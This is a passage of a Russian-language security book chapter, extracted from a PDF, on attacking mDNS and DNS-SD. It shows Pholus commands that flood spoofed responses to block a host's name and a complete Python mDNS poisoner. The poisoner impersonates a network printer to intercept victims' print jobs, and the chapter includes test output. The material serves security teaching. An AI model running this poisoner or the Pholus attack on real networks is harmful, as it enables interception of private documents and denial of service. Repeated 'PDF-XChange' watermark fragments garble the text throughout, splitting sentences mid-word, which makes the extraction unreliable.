hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

					hang		e
				C				E
			X
		-							d
		F								t
		D								i
										r
	P						NOW!			o
						BUY
жете найти службы с потенциальными уязвимостями, а затем вос-					to
											m
	w Click
	w
пользоваться ими.		w		df-x chan						o
		.							.c
			p					g
									e

Злоупотребление на этапе проверки mDNS

В этом разделе мы воспользуемся этапом проверки mDNS.Наданном этапе, который имеет место всякий раз, когда респондер mDNS за- пускается или изменяет свое подключение, респондент спрашивает локальную сеть,естьли какие-либо записи ресурсов стем же именем, что и то, которое планируется объявить. Для этого он отправляет за- прос типа "ANY" (255), как показано на рис. 6.6.

Рис.6.5.Pholus,отправляющий запросы mDNS и получающий ответы на многоадресный адрес

Если ответ содержит предполагаемую запись, проверяющий хост должен выбрать новое имя. Если в течение 10 с происходит 15 кон- фликтов, хост должен подождать не менее пяти секунд перед любой дополнительной попыткой. Кроме того, если проходит одна минута, втечение которой хостне можетнайти неиспользуемое имя,он сооб- щает пользователю об ошибке.

Рис.6.6.Пример запроса mDNS «ANY» для «test._ipps._tcp.local»

170  Глава 6

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
Фаза проверки поддается следующей атаке: злоумышленникwмо-										m
w Click									o
	w
жет отслеживать трафик mDNS для проверяющего хоста, а затемdf-x chan								.c
	.
		p					g
								e

непрерывно отправлять ответы, содержащие соответствующую за- пись, постоянно заставляя хост менять запрашиваемое имя, пока он не завершит работу.Это вызывает изменение конфигурации (на- пример, в связи с тем, что проверяющий хост должен выбрать но- вое имя для службы, которую он предоставляет) и, возможно, атаку отказа в обслуживании, если хост не может получить доступ к иско- мому ресурсу.

Для быстрой демонстрации этой атаки используйте Pholus с аргу- ментом -afre:

# python pholus.py eth0 -afre -stimeout 1000

Замените аргумент eth0 на предпочитаемый сетевой интерфейс. Аргумент -afre заставляет Pholus отправлять поддельные ответы mDNS в течение -stimeout секунд. Этот вывод показывает, что Pholus блокирует новый хост Ubuntu в сети:

00:0c:29:f4:74:2a 192.168.10.219 QUERY Question: ubuntu-133.local. * (ANY) QM Class:IN 00:0c:29:f4:74:2a 192.168.10.219 QUERY Auth_NS: ubuntu-133.local. AAAA Class:IN "fdd6:f51d:5ca8 :0:c81e:79a4:8584:8a56"

00:0c:29:f4:74:2a 192.168.10.219 QUERY Auth_NS: 6.5.a.8.4.8.5.8.4.a.9.7.e.1.8.c.0.0.0.0.8.a.c.5

.d.1.5.f.6.d.d.f.ip6.arpa. PTR Class:IN "ubuntu-133.local."

Query Name = 6.5.a.8.4.8.5.8.4.a.9.7.e.1.8.c.0.0.0.0.8.a.c.5.d.1.5.f.6.d.d.f.ip6.arpa Type=255 00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Question: 6.5.a.8.4.8.5.8.4.a.9.7. e.1.8.c.0.0.0.0.8.a.c.5.d.1.5.f.6.d.d.f.ip6.arpa. * (ANY) QM Class:IN

Query Name = ubuntu-134.local Type= 255

00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Question: ubuntu-134.local. * (ANY) QM Class:IN

00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Auth_NS: ubuntu-134.local. AAAA Class:IN "fdd6:f51d:5ca8:0:c81e:79a4:8584:8a56"

Когда хост Ubuntu загрузился, его респондер mDNS попытался за- просить локальное имя ubuntu.local. Поскольку Pholus постоянно от- правлял поддельные ответы,указывающие,что это имя принадлежит злоумышленнику, хост Ubuntu продолжал повторять новые потен-

циальные имена, такие как ubuntu-2.local, ubuntu-3.local и т. д., без возможности регистрации. Обратите внимание, что хост безуспешно дошел до имени ubuntu-133.local.

Атаки «человек посередине» на mDNS и DNS-SD

Проведемусовершенствованнуюатакусбольшимвоздействием:зло- умышленники,отравляющие mDNS влокальной сети,занимаютпри- вилегированное положение «человек посередине» между клиентом и некоторой службой,используя отсутствие аутентификации в mDNS. Это позволяет им захватывать и изменять потенциально конфиден-

Использование сети с нулевой конфигурацией  171

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

					hang		e
				C				E
			X
		-							d
		F								t
		D								i
										r
	P						NOW!			o
						BUY
циальные данные, передаваемые по сети, или просто отказывать					to
											m
	w Click
	w
в обслуживании.		w		df-x chan						o
		.							.c
			p					g
									e

В этом разделе мы создадим на Python «отравитель» mDNS, кото- рый имитирует сетевой принтер для перехвата документов, предна- значенных настоящему принтеру.Затем протестируем атаку в вирту- альной среде.

Настройка сервера жертвы

Начнем с настройки машины жертвы для запуска эмулированного принтера с помощью ippserver. Ippserver – это простой сервер про-

токола интернет-печати (internet printing protocol, IPP), который мо-

жет действовать как очень простой сервер печати. Мы использовали

Ubuntu 18.04.2 LTS (IP адрес: 192.168.10.219) вVMware,ноточные осо-

бенностиоперационнойсистемынеимеютзначения,есливыможете запуститьтекущую версию ippserver.

После установки операционной системы запустите сервер печа- ти, введя следующую команду в терминале:

$ ippserver test –v

Эта команда запускает ippserver с настройками конфигурации по умолчанию. Он должен прослушивать TCP-порт 8000, объявить служ- бу с именем test и включить подробный вывод. Если при запуске сервера у вас открыт Wireshark, вы должны заметить, что сервер вы- полняет фазу зондирования, отправляя запрос mDNS на локальный адрес широковещательной рассылки 224.0.0.251 с запросом, нет ли у кого-то службы печати с именем test (рис. 6.7).

Рис.6.7.Ippserver отправляет запрос mDNS,спрашивая,используются ли уже записи ресурсов,относящиеся к службе принтера с именем test

Этотзапростакжесодержитнекоторыепредлагаемыезаписивраз- деле Authority (вы можете увидеть их в разделе Authoritative nameservers на рис. 6.7). Поскольку это не ответ mDNS, такие записи не

172  Глава 6

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
считаются официальными ответами; вместо этого они используются										m
w Click
w
	w								o
для одновременных проверок разрешения конфликтов – ситуацияdf,-x chan								.c
	.
		p					g
								e

которая сейчас нас не волнует.

Затем сервер подождет пару секунд и, если больше никто в сети не ответит,перейдет к фазе объявления.На этом этапе ippserver отправ- ляетнезапрашиваемыйответmDNS,содержащийвразделеответавсе его новые зарегистрированные записи ресурсов (рис. 6.8).

Рис.6.8.Во время фазы объявления ippserver отправляет незапрашиваемый ответ mDNS, содержащий недавно зарегистрированные записи

Этот ответ включает набор записей PTR, SRV и TXT для каждой службы, как было показано в разделе «Как работает DNS-SD». Так- же он включает записи A (для IPv4) и записи AAAA (для IPv6), кото- рые используются для разрешения доменного имени с IP-адресами. Запись A для ubuntu.local в этом случае будет содержать IP-адрес

192.168.10.219.

Подготовка клиента-жертвы

В качестве жертвы, запрашивающей службу печати, вы можете ис- пользовать любое устройство, работающее под управлением опера- ционнойсистемы,поддерживающейmDNSиDNS-SD.Вэтомпримере мы будем использовать MacBook Pro с macOS High Sierra. Реализация сети Apple с нулевой конфигурацией называется Bonjour и основана на mDNS. Bonjour должен быть включен по умолчанию в macOS. Если это не так,вы можете включить его,введя следующую команду в тер- минале:

$ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist

Использование сети с нулевой конфигурацией  173

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

hang

e

C

E

X

-

d

F

t

D

i

r

P

NOW!

o

BUY

Нарис.6.9показано,какmDNSResponder(основноймеханизмBon-

to

m

w Click

w

w

df-x chan

o

jour) автоматически находит подходящий сервер печати Ubuntu, ког-

.

.c

p

g

e

да мы нажимаем System Settings > Printers and Scanners (Систем-

ные настройки > Принтеры и сканеры) и кнопку +, чтобы добавить

новый принтер.

Чтобы сделать сценарий атаки более реалистичным,мы предпола-

гаем, что MacBook уже имеет предварительно настроенный сетевой

принтер с именем test. Один из наиболее важных аспектов автома-

тического обнаружения службы заключается в том, что не имеет зна-

чения,обнаруживалали наша система службу ранее! Это увеличивает

гибкость (хотя вместе стем заставляетпожертвовать безопасностью­

).

Клиент должен иметь возможность связаться со службой, даже если имя хоста и IP-адрес изменились; поэтому всякий раз, когда клиен- ту macOS нужно распечатать документ, он отправляет новый запрос mDNS, спрашивая, где находится тестовая служба, даже если у нее те же имя хоста и IP-адрес, что и в предыдущий раз.

Рис.6.9.Действующий принтер,автоматически обнаруживаемый встроенной службой Bonjour в macOS

Как осуществляется типичное взаимодействие клиента и сервера

Теперь давайте посмотрим, как клиент macOS запрашивает службу принтера, когда все работает правильно. Как показано на рис. 6.10, клиентский запрос mDNS о тестовой службе будет спрашивать, какие записи SRV и TXT принадлежат к test._ipps._tcp.local.Он также запра- шивает аналогичные альтернативные службы, такие как test._print- er._tcp.local и test._ipp._tcp.local.

174  Глава 6

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-x cha

Рис.6.10.Запрос mDNS,который клиент сначала отправит для обнаружения принтеров в локальной сети,заново проверяет тестовую службу ipps,даже если она использовалась ранее

Затем система Ubuntu ответит так же, как и на этапе объявления. Она будет отправлять ответы,содержащие записи PTR,SRVи TXT для всех запрошенных служб, обладающих соответствующими полно- мочиями (например, test._ipps._tcp.local) и записи A (а также записи AAAA, если на хосте включен IPv6). Запись TXT (рис. 6.11) особенно важна в этом случае,потому что она содержитточный URL-адрес (ad- minurl) для заданий принтера, которые будут опубликованы.

Рис.6.11.Часть записи TXT,которая включена в ответ mDNS сервера ippserver, раздел Answer.В adminurl указано точное расположение очереди печати

Получив эту информацию, клиент macOS знает все, что ему нужно для отправки задания печати на ippserver Ubuntu:

zzиз записи PTR следует,что существует _ipps._tcp.local со служ-

бой test;

zzиз записи SRV известно, что эта служба test._ipps._tcp.local размещена на ubuntu.local на TCP-порте 8000;

zzиз записи A известно, что ubuntu.local разрешается

в 192.168.10.219;

zzиз записи TXT известно,что URL-адрес для публикации заданий печати – https://ubuntu.8000/ipp/print.

Клиент macOS затем инициирует сеанс HTTPS с ippserver на порту 8000 и передает документ для печати:

Использование сети с нулевой конфигурацией  175

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

[Client 1] Accepted connection from "192.168.10.199". [Client 1] Starting HTTPS session.

[Client 1E] Connection now encrypted. [Client 1E] POST /ipp/print

[Client 1E] Continue

[Client 1E] Get-Printer-Attributes successful-ok [Client 1E] OK

[Client 1E] POST /ipp/print [Client 1E] Continue

[Client 1E] Validate-Job successful-ok [Client 1E] OK

[Client 1E] POST /ipp/print [Client 1E] Continue

[Client 1E] Create-Job successful-ok [Client 1E] OK

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-x cha

Вы должны увидетьтакой вывод от ippserver.

Создание отравителя mDNS

Отравитель mDNS, который мы напишем на Python, слушает многоа- дресную рассылку mDNS на UDP-порту 5353, пока не найдет клиента, пытающегося подключиться к принтеру, а затем отправляет ему от- веты. На рис. 6.12 показаны соответствующие шаги.

2.Запрос mDNS (широковещательный)

4.Отправляетответс подтверждением легитимности

3.Отравление кеша

1.Прослушивание

5.Успешная атака «человек посередине»

Рис.6.12.Шаги атаки с отравлением mDNS

Сначала злоумышленник прослушивает многоадресный трафик mDNS на UDP-порту 5353. Когда клиент macOS повторно обнаружи- вает сетевой принтер test и отправляет запрос mDNS, злоумышлен- ник постоянно отправляет отравляющие ответы. Если злоумышлен- ник выигрывает гонку против легитимного принтера, он становится «человеком посередине», пропуская через себя трафик от клиента. Клиент отправляет злоумышленнику документ, который затем зло- умышленник может переслать на настоящий принтер, чтобы избе- жать обнаружения. Если злоумышленник не перешлет документ на принтер, у пользователя могут возникнуть подозрения, когда он не распечатается.

176  Глава 6

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
Мы начнем с создания скелетного файла (листинг 6.2), а затемwре-										m
w Click									o
	w
ализуем простую функциональность сетевого сервера для прослушиd-f-x chan								.c
	.
		p					g
								e

вания многоадресного mDNS-адреса.Обратите внимание,что сцена- рий написан на Python 3.

Листинг 6.2. Скелетный файл отравителя mDNS

#!/usr/bin/env python

import time, os, sys, struct, socket

from socketserver import UDPServer, ThreadingMixIn from socketserver import BaseRequestHandler

from threading import Thread from dnslib import *

MADDR = ('224.0.0.251', 5353)

class UDP_server(ThreadingMixIn, UDPServer):  allow_reuse_address = True

def server_bind(self):

self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

mreq = struct.pack("=4sl", socket.inet_aton(MADDR[0]), socket.INADDR_ANY) self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) UDPServer.server_bind(self)

def MDNS_poisoner(host, port, handler):  try:

server = UDP_server((host, port), handler) server.serve_forever()

except:

print("Error starting server on UDP port " + str(port))

class MDNS(BaseRequestHandler): def handle(self):

target_service = '' data, soc = self.request

soc.sendto(d.pack(), MADDR)

print('Poisoned answer sent to %s for name %s' % (self.client_address[0], target_ service))

def main():  try:

server_thread = Thread(target=MDNS_poisoner, args=('', 5353, MDNS,)) server_thread.setDaemon(True)

server_thread.start()

print("Listening for mDNS multicast traffic") while True:

time.sleep(0.1)

except KeyboardInterrupt: sys.exit("\rExiting...")

if __name__ == '__main__': main()

Использование сети с нулевой конфигурацией  177

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

					hang		e
				C				E
			X
		-							d
		F								t
	D									i
										r
P							NOW!			o
						BUY
Начнем с импорта необходимых нам модулей Python.Инфраструк-					to
											m
w Click
w
	w			df-x chan						o
тура сокетов упрощает задачу написания сетевых серверов. Для ана-		.							.c
			p					g
									e

лиза и создания пакетов mDNS мы импортируем dnslib, простую библиотеку для кодирования и декодирования пакетов проводного формата DNS. Затем мы определяем глобальную переменную MAD- DR, которая содержит адрес многоадресной рассылки mDNS и порт по умолчанию (5353).

Мы создаем UDP_server  с помощью класса ThreadingMixIn, кото- рый реализует параллелизм с использованием потоков. Конструктор сервера вызоветфункцию server_bind,чтобы привязатьсокетк жела- емому адресу. Мы включаем allow_reuse_address, чтобы можно было повторно использовать связанный IP-адрес и параметр сокета SO_REUSEADDR, который позволяет сокету принудительно связываться с тем же портом при перезапуске программы.Затем мы должны присоеди- ниться к группе многоадресной рассылки (224.0.0.251) с IP_ADD_MEMBERSHIP .

ФункцияMDNS_poisoner создаетэкземплярUDP_server ивызывает на нем serve_forever для обработки запросов до явного завершения работы. Класс MDNS обрабатывает все входящие запросы, анализиру- ет их и отправляет ответы. Поскольку этот класс – интеллектуальная основа отравителя,мы изучим его более подробно позже.Вы должны заменить этот блок кода (листинг 6.3) полным классом MDNS из лис­ тинга 6.2.

Функция main  создает основной поток для сервера mDNS. Этот поток автоматически запускает новые потоки для каждого запроса, который будет обрабатывать функция MDNS.handle. Поскольку указан режим setDaemon(True), сервер завершит работу, когда основной по- ток завершится, и вы можете завершить его, нажав Ctrl+C, что вызо- вет исключение KeyboardInterrupt. После запуска потоков основная программа войдет в бесконечный цикл, а потоки будут обрабатывать все остальное.

Теперь, когда мы создали скелетный файл, опишем методологию создания класса MDNS, который реализует отравитель mDNS.

1.Захватите сетевой трафик, чтобы определить, какие пакеты не- обходимо воспроизвести, и сохраните файл pcap для дальней- шего использования.

2.Экспортируйте байты необработанного пакета из Wireshark.

3.Найдитебиблиотеки,реализующиесуществующиефункции,та- кие как dnslib,для обработки пакетов DNS,чтобы не изобретать велосипед.

4.Когда вам нужно проанализироватьвходящие пакеты,как в слу- чае с запросом mDNS, сначала используйте ранее экспортиро- ванные пакеты из Wireshark для первоначальной загрузки в ин- струмент вместо получения новых из сети.

5.Начните отправлять пакеты по сети, а затем сравните их с пер- вым дампом трафика.

178  Глава 6

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

6.

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
Завершите и доработайте инструмент,очистив и прокомменти-										m
w Click
w
	w								o
ровав код, а также добавив возможность настройки в реальномdf-x chan								.c
	.
		p					g
								e

времени с помощью аргументов командной строки.

Давайте посмотрим, что делает наш самый важный класс, MDNS

(листинг­ 6.3).

Замените блок MDNS в листинге 6.2 следующим кодом:

Листинг 6.3. Окончательный вариант класса MDNS для нашего отравителя

class MDNS(BaseRequestHandler): def handle(self):

target_service = ''

data, soc = self.request  d = DNSRecord.parse(data) 

#базовая проверка – имеет ли пакет mDNS хотя бы один запрос? if d.header.q < 1:

return

#мы полагаем, что первый запрос содержит имя службы, которую мы будем подменять target_service = d.questions[0]._qname 

#теперь создаем ответ mDNS, который содержит имя службы и наш IP-адрес

d = DNSRecord(DNSHeader(qr=1, id=0, bitmap=33792)) 

d.add_answer(RR(target_service, QTYPE.SRV, ttl=120, rclass=32769, rdata=SRV(priority=0, target='kali.local', weight=0, port=8000)))

d.add_answer(RR('kali.local', QTYPE.A, ttl=120, rclass=32769, rdata=A("192.168.10.10")))  d.add_answer(RR('test._ipps._tcp.local', QTYPE.TXT, ttl=4500, rclass=32769,

rdata=TXT(["rp=ipp/print", "ty=Test Printer", "adminurl=https://kali:8000/ipp/print", "pdl=application/pdf,image/jpeg,image/pwg-raster", "product=(Printer)", "Color=F", "Duplex=F", "usb_MFG=Test", "usb_MDL=Printer", "UUID=0544e1d1-bba0-3cdf-5ebf-1bd9f600e0fe", "TLS=1.2", "txtvers=1", "qtotal=1"]))) 

soc.sendto(d.pack(), MADDR) 

print('Poisoned answer sent to %s for name %s' % (self.client_address[0], target_service))

МыиспользуемфреймворксокетовPythonдляреализациисервера. Класс MDNS должен создать подкласс класса BaseRequestHandler фрей- мворкаипереопределитьегометодhandle() дляобработкивходящих запросов.Для служб UDP self.request  возвращаетстроку и пару со- кетов,которые мы сохраняемлокально.Строка содержитданные,по- ступающие из сети,а пара сокетов–IP-адрес и порт,принадлежащие отправителю этих данных.

Затеммыанализируемвходящиеданныеспомощьюdnslib , кон- вертируя их в класс DNSRecord, который затем можем использовать для извлечения имени домена  из QNAME раздела Question (Вопрос). Раздел Question – это часть пакета mDNS, который содержит запросы (см.примернарис.6.7).Обратитевнимание,чтодляустановкиdnslib вы можете выполнить следующие команды:

Использование сети с нулевой конфигурацией  179

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

#git clone https://github.com/paulc/dnslib

#cd dnslib

#python setup.py install

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-x cha

ЗатеммыдолжнысоздатьнашответmDNS,содержащийтризапи­ си DNS, которые нам нужны (SRV, A и TXT). В разделе Answers (От- веты) добавляем SRV-запись, которая связывает target_service с на- шим именем хоста (kali.local) и портом 8000. Мы добавляем запись A,которая разрешаетимя хоста в IP-адрес.Затемдобавляем запись TXT , содержащую, среди прочего, URL-адрес поддельного принте- ра, с которым нужно связаться по адресу https://kali:8000/ipp/print.

Наконец, отправляем ответ жертве через наш UDP-сокет .

В качестве упражнения предлагаем вам настроить жестко запро- граммированные значения, содержащиеся на этапе ответа mDNS. Вы также можете сделать отравитель более гибким, чтобы он отравлял только указанный целевой IP-адрес и имя службы.

Тестирование отравителя mDNS

Теперь давайте проверим отравитель mDNS в действии. Такой вывод в консоль выдает работающий отравитель злоумышленника:

root@kali:~/mdns/poisoner# python3 poison.py Listening for mDNS multicast traffic

Poisoned answer sent to 192.168.10.199 for name _universal._sub._ipp._tcp.local. Poisoned answer sent to 192.168.10.219 for name test._ipps._tcp.local.

Poisoned answer sent to 192.168.10.199 for name _universal._sub._ipp._tcp.local.

Мы пытаемся автоматически получить задание печати от клиен- та-жертвы,заставляяегоподключитьсякнамвместореальногоприн- тера, отправляя, казалось бы, законный трафик mDNS. Наш отрави- тель mDNS отвечает клиенту жертвы 192.168.10.199,сообщая ему,что имя злоумышленника _universal._sub._ipp._tcp.local. Отравитель mDNSтакже сообщаетзаконному серверу печати (192.168.10.219),что злоумышленник хранит имя test._ipps._tcp.local.

Помните, что это имя, которое объявил в сети сервер печати. Наш отравитель, являясь на данном этапе лишь упрощенной демонстра- цией сценария,не различаетцели; напротив,он без разбора отравля- ет каждый запрос, который он видит.

Такой вывод выдает ippserver, который имитирует сервер печати:

root@kali:~/tmp# ls

root@kali:~/tmp# ippserver test -d . -k -v

Listening on port 8000. Ignore Avahi state 2.

printer-more-info=https://kali:8000/ printer-supply-info-uri=https://kali:8000/supplies printer-uri="ipp://kali:8000/ipp/print"

180  Глава 6